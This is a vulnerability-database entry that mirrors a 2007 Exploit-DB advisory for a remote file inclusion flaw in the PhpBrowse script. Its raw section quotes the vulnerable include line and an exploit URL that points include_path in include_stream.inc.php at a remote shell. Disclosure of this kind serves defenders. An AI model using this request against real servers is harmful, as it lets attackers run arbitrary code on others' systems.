PhpBrowse

vendor:

PhpBrowse

by:

kezzap66345

5.5

CVSS

MEDIUM

RFI (Remote File Inclusion)

CWE

Product Name: PhpBrowse

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

The PhpBrowse script is vulnerable to Remote File Inclusion (RFI) attack. An attacker can exploit this vulnerability by including a malicious file using the 'include' function in the 'include_stream.inc.php' file. The attacker can then execute arbitrary code or perform unauthorized actions on the targeted system.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input and validate file inclusion paths. Additionally, access controls should be implemented to restrict unauthorized access to sensitive files.

Source

Exploit-DB raw data:

PhpBrowse
*****************
Found by kezzap66345 *
*****************
Script:
http://www.codewand.org/download/phpBrowse.tar.gz
*****************
ERROR:
/include/include_stream.inc.php


include($include_path . "style.inc.php");     <<< rfi coded


**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
RFI:

http://SITE.com/path/include/include_stream.inc.php?include_path=[SHELL]

**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
**************************************************************************************
kezzap66345[at]hotmail[dot]com

******thanx=x0r0n*str0ke*shika***Siircicocuk*******************************************

# milw0rm.com [2007-04-05]